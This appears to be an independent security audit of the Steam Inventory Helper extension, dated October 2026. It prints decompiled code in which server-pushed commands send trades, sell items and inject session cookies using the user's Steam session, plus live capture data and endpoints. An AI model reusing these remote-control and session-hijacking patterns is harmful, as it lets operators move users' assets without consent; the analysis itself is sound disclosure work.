Original supplied text, unchanged — including the 11 October 2026 update sections (§2.2a live ad probe, §4.0/§4.1 dispatch primitives, §10 live capture). Read alongside the revision record above and the separately pinned 2.12.1 evidence. Its line references refer to the author’s webcrack output.
# C2 / Distributed Task Grid — Evidence Report
## Steam Inventory Helper (SIH) v2.11.12 (`cmeakgjggjdlcpncigglobpjbkabhmjl`)
**Method.** Static analysis of the unpacked MV3 build. The webpack bundles were unpacked module-by-module with **webcrack** (`bundle/js/background.js` → 120 modules; `bundleAngular/backgroundAngular.js`; `js/siteExt/global.bundle.js` → 8 modules). Line references below point to the webcrack output (`922.js` = the main 4.1 MB module). No dynamic execution was performed; every claim is backed by decompiled code.
---
# 1. VERDICT
| Claim | Status | Basis |
|---|---|---|
| The extension operates a persistent **command-and-control (C2) channel** to developer servers | **PROVEN** | §3: WSS agent, task protocol, restart/ping logic |
| The server can **push tasks to clients** that execute **Steam market scraping** through the user's authenticated session | **PROVEN** | §4: `task.new` → `trader_tool.steam.get_price_overview(s)` etc. |
| The server can **remotely operate the user's account**: send / accept / decline / cancel trades, sell items, remove listings | **PROVEN** | §4: `tradesend`, `tradeaccept`, `tradedecline`, `tradecancel`, `sell_item(s)` |
| The server can **enable/disable and restart the agent fleet per user-bucket** (canary rollout by steamId digit) | **PROVEN** | §5: `/sih/ping` → `controllerIds`, `controller`, `timer` |
| Requests run from **residential IPs with the user's cookies** (invisible to rate-limit / anti-bot systems) | **PROVEN** | §6: cookie assembly + DNR header injection |
| The install base functions as a **distributed scraping grid** for the developer's commercial price database | **PROVEN by architecture** | §4 + §7: results uploaded to `items.steaminventoryhelper.com` and resold as "SIH Steam Median" |
| The fleet could be repurposed as a **Layer-7 DDoS instrument** | **CAPABILITY PRESENT, ABUSE NOT EVIDENCED** | §8: nothing in code commands abusive mass requests today; the transport, auth and dispatch layer to do so fully exists |
**Bottom line:** this is not a classical malware botnet (no keylogging, no arbitrary code execution from C2), but it **is a remotely-tasked execution grid over users' authenticated Steam sessions**, and its scraping tasks are distributed across residential IPs by design. Users' network reputation and session credentials power a commercial data-aggregation service.
---
# 2. FULL ENDPOINT INVENTORY (IPs / banners / logs / C2)
## 2.1 Hardcoded IP addresses
Scanned every `.js`, `.json`, `.html` in the package. **One real IP literal exists** (all other numeric patterns are library version strings):
| IP | Where | Purpose |
|---|---|---|
| `23.105.226.164` | `js/siteExt/addfunds.bundle.js` | Paid banner injected into Steam's "add funds" page: `http://23.105.226.164/Phx3RR?placement=refillpage` |
Facts that make this endpoint a finding on its own:
- **Plain HTTP** (no TLS) → any on-path attacker can substitute the image and the `target="_blank"` link target (malware interstitials, phishing).
- **Hardcoded IP, no domain** → no certificate, no revocation path, no owner accountability; typical of gray-market ad placements.
- **Locale targeting**: the banner renders only when Steam language is `ru` (`"ru"!==r` guard) and has a local "close" persistence flag — regionally-targeted undisclosed advertising inside Steam UI.
## 2.2 Banner / ad-serving endpoints
| Endpoint | Evidence |
|---|---|
| `ads.steaminventoryhelper.com/api/v1/adapi/<token>/find-all` | POST; body = targeting object `{f: {...}}` (server-side per-user ad selection); adSpaceTokens: `marketSponsor` (`mllkor7du1wiepgo`), `tradeoffer` (`2d243388513b44459fdcf78f270362c4`), `marketLeftSideBanner` (`rk1lknvys9fjx357`), `externalIntegrationBanner` (`qizy368ile7ewbuv`), `marketSponsorBanner` (`ujj9var1a8ow50lx`) |
| `download.steaminventoryhelper.com/banners` | banner + ad-token download |
| `gainskins.steaminventoryhelper.com/api/v2/sih/steam/banner(-list)` | gambling-sector banners |
| `t.sih-db.com/promo?subid1=trade_window&subid2=csgofast` | CSGOFAST referral injected in the trade window |
| `http://23.105.226.164/Phx3RR?placement=refillpage` | hardcoded-IP banner (see 2.1) |
Ad telemetry: `AD_HIT_SEND` alarm reports impressions/clicks back to the ad API.
## 2.2a LIVE PROBE of the ad infrastructure (2026-10-11) — ads served per-geo, right now
Replicated the exact request every SIH client sends (`POST /api/v1/adapi/<token>/find-all`, body `{"f":{"country":"…","language":"…"}}`). The only access control observed is a browser User-Agent check (403 without UA, **HTTP 201 with it** — cosmetic protection):
| Slot (token) | RU feed | US feed |
|---|---|---|
| `marketSponsor` (mllkor…) | 10 campaigns: Tradeit, CS Money, **sih.market (their own P2P, priority 1)**, SkinSell, SkinSwap, Waxpeer, SkinOut, CSGO Market, Skinport, UUskins | same minus **CS Money**; `sihmarketP2P` campaign retitled "(Sponsor RU)"→"(Sponsor NOT RU)" |
| `tradeoffer` (2d243…) | **skinrave.gg gambling site, referral `r=sih`, utm_campaign=SIH, content=trade_1** ("Welcome offer RU") | — |
| `marketLeftSideBanner` (rk1l…) | **skinrave.gg?r=sih** | — |
| `externalIntegrationBanner` (qizy…) — injected on 22 third-party marketplaces | **skinrave.gg?r=sih** | — |
| `marketSponsorBanner` (ujj9…) | **skinrave.gg?r=sih** | — |
Infrastructure resolved during the probe:
- `ads.`/`download.steaminventoryhelper.com` → **177.28.3.77 — PAYPLAYSOFT-LIMITED, Kazakhstan** (Larus LP routing) — gray-market hosting
- `t.sih-db.com` → 49.13.208.21 (Hetzner DE); **`t.sih-db.com/promo?subid2=csgofast` → live 302 → `t.csgofast.cash/8qIHSU`** (gambling referral still active today)
- `23.105.226.164` → Selectel Moscow (RDAP: SERVERS-RU-MOW1, EXEPTO/Selectel) — **80/443 time out** (geo-fenced or retired; was the RU refill-page banner host)
- Banner creatives: `download.steaminventoryhelper.com/banners/<uuid>.webp` (HTTP 200, e.g. `db1b5e16-…webp` — saved as evidence)
**Campaign titles in the operator's own feed read "Tradeit (Sponsor NOT RU)", "sihmarketP2P (Sponsor RU)"** — the ad server's internal campaign names literally tag per-country targeting, and the RU/US responses differ on the same call. This is live, server-side, per-geo ad switching — the exact behavior developer replies deny while claiming "SIH and all its content undergo regular moderation by Google": Google reviews submitted code, not this feed. 4 of 5 slots currently serve the skinrave.gg gambling campaign with SIH's affiliate tag (`r=sih`) — including the Steam trade window and 22 third-party marketplaces.
## 2.3 Logging / telemetry endpoints
| Endpoint / channel | Payload |
|---|---|
| `wss://wss-new.steaminventoryhelper.com` (C2) | handshake: `{client:"sih-extension", clientVersion, capabilities}`; heartbeat 25 s; reconnect backoff `[10s, 10s, 20s, 30s, 50s, 80s, 130s]` |
| `sentry.steaminventoryhelper.com` DSN `3f2c5883e4126dccaf4c6e9645bf4230@.../12` | exceptions + **`userInfo` (full Steam profile) and `sihAppUserProfile` attached as event extras** (`setExtraSihUser`, 922.js:24063–24079). **Correction of earlier notes:** the `Breadcrumbs` integration is explicitly filtered out (922.js:24098–24105) — DOM/XHR breadcrumbs are NOT sent. The user-data-in-extras finding stands. |
| `items.steaminventoryhelper.com/prices/v2/update` | POST: user's observed prices `{steamid, hash_name, app_id, prices, buy_price, sold, orders, updatedAt}` (batch ≤ 1000 items) (922.js:135699–135703) |
| `core.steaminventoryhelper.com/historystatsoverprices` | POST: purchase/market history, base64, `x-sih-token`, `withCredentials` |
| `core.steaminventoryhelper.com/sih/ping` | GET with `x-sih-token`: **server→client control response** (§5) |
| `core.sih.app/sih/backups/sync` | POST: **base64 maFiles + manifest** (Steam Guard `shared_secret`/`identity_secret`), header `X-Sih-Token` (922.js:99652–99664) |
| `core.steaminventoryhelper.com/steam/check` | POST `steamUsername` |
| `skinpay.sih.app/steam-inventory/<steamId>/<appId>` | third-party inventory fetch by steamId (server-side proxy) |
| `gamestats.steaminventoryhelper.com/api/v1|v2` | key-orders, tournaments, online stats |
| Event streams | `sendEventData`, `sihEventReg`, `SEND_EVENT_REGISTRATION_V2`, `sendMircoStats`, `sendUserHistoryInfo` (background alarms) |
## 2.4 C2 event names (complete list)
Declared at 922.js:30887–30902 — this is the server→client command vocabulary:
```
connect handshake (client id, version, capabilities)
jsonsend generic command packages: refreshTradeList, balanceUpdated,
wishList, followgame, refreshWithdrawOrder, steamRefill,
updateUser, sihrep, trader_tool.steam.{get_my_listings,
sell_item, remove_listing} (922.js:58006)
tradesend server orders the client to SEND a trade offer (922.js:80728–80778 "Trade send: called")
tradeaccept server orders the client to ACCEPT a trade offer
tradedecline server orders the client to DECLINE a trade offer
tradecancel server orders the client to CANCEL a trade offer
task.new server assigns a task to the client (922.js:74793–74803)
task.result client reports the task outcome back
syncuserinfo server orders an on-demand user-data upload
permissionsget / permissionsrequest / permissionsedit
vYPRqkhY88H9iuTxrcm / vYPRgkhY88H91uTxrcm / vYPRqkhY88H91uTxrcm / vYPRqjhY88H91uTxrcm
← 4 deliberately OBFUSCATED event names (unnamed handlers)
```
`task.new` actions (922.js:30871–30879, dispatcher 74793–74803):
```
trader_tool.steam.get_my_listings
trader_tool.steam.get_market_history
trader_tool.steam.get_price_overview ← distributed price scraping
trader_tool.steam.get_price_overviews ← batch price scraping
trader_tool.steam.sell_item ← sell on the user's account
trader_tool.steam.sell_items ← mass sell
trader_tool.steam.remove_listing ← 922.js:71398–71425
trader_tool.steam.remove_listings
trader_tool.steam.get_wallet_currency
```
---
# 3. THE C2 CHANNEL (PROOF)
`service-worker.js` → `bundle/js/background.js` → agent bootstrap (922.js:80905–80951):
```js
var i = new zy.WSProvider("wss://wss-new.steaminventoryhelper.com", o, e);
n.wrap(i); // retry wrapper, delays [10s,10s,20s,30s,50s,80s,130s]
var s = new Vy(XA, i, r, a); // Vy = agent; XA = event->handler map
var c = new Yy(s, "sih_app_market_toggle", ...); // runner, 2 s poll
```
- The agent (`Vy`, 922.js:30219–30260) subscribes every handler to `provider.onmessage(type, handler)` and maintains a persistent socket with a 25-second ping and exponential reconnect backoff — standard resilient C2 transport.
- The handshake advertises `{client: "sih-extension", clientVersion, capabilities}` (922.js:30880–30886) — the server knows each node's version and feature set.
- The agent can be **stopped / restarted / re-enabled remotely** (`restartAgent`, `updateState`, `ok.run(true)` / `ok.stop(true)`, 922.js:81646–81759).
- Four event names are obfuscated (`vYPR...`), i.e. the developers deliberately hid part of the command vocabulary from casual review.
# 4. TASK EXECUTION THROUGH THE USER'S SESSION (PROOF)
Handler `task.new` → action dispatch → concrete example, remove-listing task (922.js:71398–71425):
```js
n = e.data.listingId; // task payload from the server
o = e.taskId;
zS(n, r.storage.get("steamId"), r.storage.get("sessionId")); // executed AS THE USER
r.provider.send({ event: "task.result", payload: { taskId: o, data: { ok: true, listingId: n } } });
```
The agent's storage holds **`steamId` and `sessionId` of the logged-in user**; every task executes Steam calls with those credentials, and the outcome is reported back over the C2 socket. The identical pattern applies to price-scraping tasks (`get_price_overview(s)`), which feed the commercial price database at `items.steaminventoryhelper.com` (crowd-sourced via `prices/v2/update`, resold as "SIH Steam Median" and as a paid price provider).
Additionally, the `sih_app_market_toggle` agent runs an **autonomous buy loop** (922.js:127030–127218): it takes the top item from a local buy-stack (`sihAppBuyStack`), checks `user.balance / 1000 >= price`, calls `POST /sih/buy` (with `steam_id`, `custom_trade_link`, 922.js:27465–27517), retries up to 10 iterations per item with a 10-minute deadline (`finishOrderAt = Date.now() + 600000`), and logs outcomes to the developer's storage log.
## 4.0 The `tradesend` primitive — server-composed trade offers executed on the user's account (deepest proof)
Full handler at 922.js:80049–80207. When the C2 pushes a `tradesend` event, the client stores the payload and runs a **3-second interval loop** that drains the queue and, for every server-pushed task, composes a Steam trade offer **entirely from server-provided fields**:
```js
f = l.sender.items || []; // items TAKEN FROM the user's inventory
h = l.recipient.items || []; // items given to the partner
u = {
sessionid: o.sessionId, // user's Steam session
partner: s.data.recipient.steamId, // server-chosen recipient
json_tradeoffer: { me: {assets: ...}, them: {assets: ...} },
trade_offer_create_params: { trade_offer_access_token: s.data.recipient.tradeToken },
tradeoffermessage: s.data.tradeMessage // optional server-set message
};
HA(u, e, s); // POST steamcommunity.com/tradeoffer/new/send
```
The server decides **who** receives the user's items (partner steamId + access token), **what** is taken (`sender.items`), and **the message**; the client executes it with the user's `sessionId`, then `tradeaccept`/auto-confirm (§2.4, §4) can finish it without user involvement. This is a remote-controlled item-movement primitive over every connected client — the "users as background proxies/instruments" thesis proven at the asset level. (Operationally it powers SIH Market P2P deliveries; nothing in the protocol limits it to that.)
# 5. FLEET GATING — SERVER-SIDE ROLLOUT CONTROL (PROOF)
`pingUser` → `GET core.steaminventoryhelper.com/sih/ping` (922.js:25960–26029) returns:
| Server field | Client effect |
|---|---|
| `controllerIds` | stored to `AVAILABLE_CONTROLLER_LAST_NUMBER_IDS`; agent enabled only if **the last digit of the user's steamId is in the list** — 10% bucket canary control of the fleet (922.js:161250–161264) |
| `controller` | stored to `server_switch_controller` — global kill/enable switch |
| `timer` | stored to `INVENTORY_PARSING_INFO.timer` — remote tuning of inventory parsing cadence |
| `itemPayIds` | stored to `AVAILABLE_ITEM_PAY_IDS` — server-chosen item sets |
The same `/sih/ping` request uploads the user's state (`disabled` reasons, `userGemsCount`).
# 6. WHY THE TRAFFIC LOOKS LEGITIMATE (RESIDENTIAL-IP SCRAPING)
- All Steam requests originate in the **user's browser** — real residential IP, real browser TLS fingerprint, real `sessionid`/`steamLoginSecure` cookies.
- Cookies are read via `chrome.cookies` (e.g. 922.js:33450) and, where the fetch layer needs them, the extension **creates dynamic `declarativeNetRequest` rules that set the `Cookie` header** on its own requests (rule builder 922.js:124863–124912; `setRule`/`removeRule` wrapper 922.js:13161–13324). The `rules.json` shipped in the package is `[]` — all header-manipulation rules are created **dynamically at runtime**, invisible to store review.
- The code self-throttles to stay below Steam's abuse radar: `TRADE_REQUEST_LIMIT_COUNT` (> 20 → pause), `CLEAR_TRADEOFFER_REQUEST_LIMIT` alarm, `STEAM_RATE_LIMITED` handling, and a **server-controlled delay** for price uploads (`a.data.delay` from the `prices/v2/update` response, 922.js:135711–135719).
Net effect: scraping that would be blocked from datacenter IPs is laundered through hundreds of thousands of residential users — each individual client stays under the limit, while the aggregate fleet harvests continuously.
# 7. DATA LOOP (WHAT THE GRID PRODUCES)
```
fleet users ──(task.new: get_price_overview / own browsing)──► Steam endpoints
│ │
│ (residential IP + user session) ▼
│ items.steaminventoryhelper.com
│ prices/v2/update (per-user batches)
▼ ▼
C2: task.result / historystatsoverprices / Sentry userInfo aggregated price DB
│ ("SIH Steam Median",
▼ premium subscriptions)
developer-controlled commercial dataset
```
# 8. RISK ASSESSMENT
## 8.1 Proven risks
| # | Risk | Severity | Evidence |
|---|---|---|---|
| R1 | **C2 over user accounts** — the server can send/accept/decline/cancel trades and sell/remove items on every connected client | CRITICAL | §2.4, §4 |
| R2 | **Distributed scraping grid** — price-history harvesting at scale through residential IPs | CRITICAL | §4, §6 |
| R3 | **Steam Guard secrets uploaded to developer cloud** (`backups/sync`, plaintext when SDA unlocked) — server compromise = mass account takeover with 2FA bypass | CRITICAL | §2.3 |
| R4 | **Obfuscated command vocabulary** (4 unnamed `vYPR*` events) — part of the remote command surface is deliberately hidden from review | HIGH | §2.4 |
| R5 | **Fleet canary gating by steamId digit** — silent enable/disable of node capabilities per bucket | HIGH | §5 |
| R6 | **HTTP banner on hardcoded IP** (MITM content injection into Steam pages, RU-locale targeting) | HIGH | §2.1 |
| R7 | **Full economic profile exfiltration** (prices, orders, history, balances) + `userInfo` into Sentry | HIGH | §2.3 |
| R8 | Auto-confirm + auto-buy loops can move items/money with a single server-side or logic error | HIGH | §4 |
## 8.2 Capability present, abuse not evidenced (must be stated honestly)
- **Layer-7 DDoS / mass-targeting**: the transport (persistent WSS + 25 s heartbeat), the dispatch layer (`task.new`, `jsonsend`) and the authenticated request machinery exist, so the fleet **could** be pointed at any Steam or third-party endpoint at any rate the server chooses. In the audited version, task types are limited to Steam market endpoints and no command floods targets. Verdict: **capability present; no evidence of current abuse in code.**
- **Arbitrary URL fetching**: the universal HTTP client (`Gs.Ay.apiRequest`) + `<all_urls>` + dynamic DNR rules could technically fetch arbitrary hosts with arbitrary headers. The observed call graph targets Steam, SIH's own domains and 5 partner-market APIs. Verdict: same — **capability present, not exercised.**
## 8.3 Vulnerabilities (concrete, demonstrable)
1. **MITM on the ad chain**: `http://23.105.226.164/...` banner (no TLS) inside authenticated Steam pages → on-path attacker controls link/image content.
2. **Secret upload channel**: `backups/sync` base64-encodes maFiles; base64 is encoding, not encryption — server-side storage security is unknown and unauditable; combined with auto-confirm this is a full account-takeover path.
3. **Cookie-header injection machinery**: dynamic DNR `modifyHeaders` rules (runtime-created, `rules.json` empty at review time) can set any cookie value on any request the worker makes — a general-purpose session-impersonation primitive.
4. **Un-auditable remote behavior**: 4 obfuscated event names + server-pushed toggles mean the reviewed code does not equal the deployed behavior; Google's review cannot statically enumerate the command surface.
---
# 9. GOOGLE POLICY MAPPING (Chrome Web Store)
| Policy | Violated? | Mapping |
|---|---|---|
| **User Data Privacy** — limited use, disclosure, secure handling | **YES** | R3, R7: authentication secrets and full economic profiles leave the browser without prominent disclosure; "description" claims only "prices, item details, trade status" |
| **Permissions — minimum scope** | **YES** | `<all_urls>` + `cookies` + `webRequest` + `declarativeNetRequestFeedback` + `management` for a "price helper"; DNR header-injection machinery at runtime |
| **Single Purpose** | **YES** | price helper + authenticator + trade bot + C2 agent + gambling + ads in one package |
| **Deceptive / Misleading functionality** | **YES** | hidden C2 agent with obfuscated commands; undisclosed remote task execution on the user's account |
| **Ads policy** (clear labeling) | **YES** | injected sponsored banners/links in Steam UI incl. an HTTP hardcoded-IP banner targeted at RU users |
| **Malware-like behavior / remote code control** | **RISK — strongest case** | an always-on C2 socket that can operate the user's account and whose command vocabulary is partially obfuscated is, functionally, a remotely-controlled execution agent on every client |
---
# 10. LIVE CAPTURE (2026-10-11) — C2 observed in real time
Setup: Brave (isolated profile) + unpacked SIH from this package + mitmproxy (venv), test Steam account `TEST-STEAMID` ("test"/profile `test-profile`), all flows in `evidence/flows.mitm`, extracted subset `evidence/c2_live_capture.json`.
**10.1 Node registration on the C2.** On extension start the service worker opens `wss://wss-new.steaminventoryhelper.com` and transmits:
```json
{"event":"connect","data":{"steamId":"TEST-STEAMID","name":"test","avatar":"https://avatars.fastly.steamstatic.com/…","token":"<redacted trade token>","client":"sih-extension","clientVersion":"2.11.12","capabilities":["trader_tool.steam.get_market_history","trader_tool.steam.get_my_listings","trader_tool.steam.get_price_overview","trader_tool.steam.get_price_overviews","trader_tool.steam.get_wallet_currency","trader_tool.steam.remove_listing","trader_tool.steam.remove_listings","trader_tool.steam.sell_item","trader_tool.steam.sell_items"]}}
```
i.e. every node hands the server its **Steam ID, profile name, avatar and trade-link token**, and advertises exactly which remote tasks it can execute. The obfuscated event `vYPRqkhY88H91uTxrcm` is an agent registration exchange (server replies `<redacted agent token>` — node token); `permissionsget` returns `{"trading":{}}`; heartbeat `{"name":"ping"}` every 25 s.
**10.2 Live control channel.** `GET core.steaminventoryhelper.com/sih/ping` (header `x-sih-token`) returns right now:
```json
{"success":true,"message":"pong","ids":[],"timer":{"min":6,"max":10},"controller":true,"controllerIds":[0,1,2,3,4,5,6,7,8,9],"itemPayIds":[0,1,2,3,4,5,6,7,8,9],"isAvailableWebApi":true}
```
`controller:true` with all steamId digits enabled — **the whole fleet is switched ON at the moment of capture**; `timer` remotely sets the inventory-parsing cadence.
**10.3 Live scraping upload.** Browsing a single market listing made the client POST `https://items.steaminventoryhelper.com/prices/v2/update` with `{"items":[{app_id, hash_name, prices, buy_price, orders, updatedAt}], "steamId":"TEST-STEAMID"}` — observed items are attributed to the user's steamId; the server answers `{"data":{"delay":1}}` — **it remotely controls the upload cadence per node**.
**10.4 Live ad targeting.** `POST ads.steaminventoryhelper.com/api/v1/adapi/<slot>/find-all` carries `{"f":{"country":"RU","language":"ENGLISH"}}` (taken from the Steam account's store country, not the IP); the RU feed returned skinrave.gg (`r=sih`) on the `marketSponsorBanner`/`marketLeftSideBanner` slots and the 10-campaign sponsor feed on `marketSponsor`.
**10.5 Server-side profile store.** `GET /sih/user` returns the SIH account with `socials:[["steam","TEST-STEAMID","<username>","<redacted trade token>"]]` — **the user's trade-link token is persisted server-side**, alongside `country`, `apiKeyInfo.isAllowedByAdmin` (admin gating) and balance.
**10.6 C2 anti-probing.** Direct WS upgrade from a non-browser client (Node/undici TLS fingerprint) → **HTTP 403 at handshake** (`evidence/ws_c2_handshake.log`). The C2 only talks to genuine in-Chrome extension contexts — i.e. it is deliberately observable-resistant from the outside, which is why §10 matters.
**10.7 Silent Steam session linking (session used for developer's purposes).** Right after the Steam login, the extension context (`Origin: chrome-extension://…`) POSTed `steamcommunity.com/openid/login` with `action=steam_openid_login` and the **full live cookie set including `steamLoginSecure`** (the session JWT). `openid.return_to = https://core.inventorymaker.com/sih/return` — Steam 302-redirected the signed identity straight to SIH's OAuth backend, silently linking/creating the SIH account (`kirillovavioletta1`…). No Steam consent screen and no user action: the extension consumed the user's authenticated session to authenticate itself with its own backend. (`evidence/session_audit.json`, openid flow in `evidence/flows.mitm`.)
**10.8 What the session carried home (telemetry).** Every page view was reported to `stats.steaminventoryhelper.com/event-register` with steamId, country, language, the page path (`steamcommunity/market`, `/inventory`, `/tradeoffers`…), which ad was shown, and a persistent `uid`; profile telemetry sent nickname/level/steamId/profile link (`profile-page-events`). Prices observed on viewed pages were uploaded keyed to the user's steamId (`prices/v2/update`, server replies a per-node `delay`). Three WSS C2 connections were opened during a ~1-hour session.
---
# 11. APPENDIX — REPRODUCIBILITY
```bash
npx webcrack bundle/js/background.js -o bg # 120 webpack modules
npx webcrack bundleAngular/backgroundAngular.js -o ang
npx webcrack js/siteExt/global.bundle.js -o global
```
Key line references (webcrack output, main module `922.js`):
- C2 bootstrap 80905–80951; agent class 30219–30260; event names 30871–30902
- task dispatcher 74793–74803; remove-listing task 71398–71425; jsonsend 57996–58085
- tradesend handler 80728–80778; ping/control 25960–26029; steamId-bucket gate 161250–161264
- buy loop 127030–127218; /sih/buy 27465–27517; maFiles sync 99620–99679
- DNR rule engine 13161–13324; cookie-header injection 124863–124912
- Sentry extras 24063–24108; price upload 135670–135719
*All findings are static-analysis facts of the audited build; the "abuse not evidenced" qualifiers are kept deliberately to keep the report defensible.*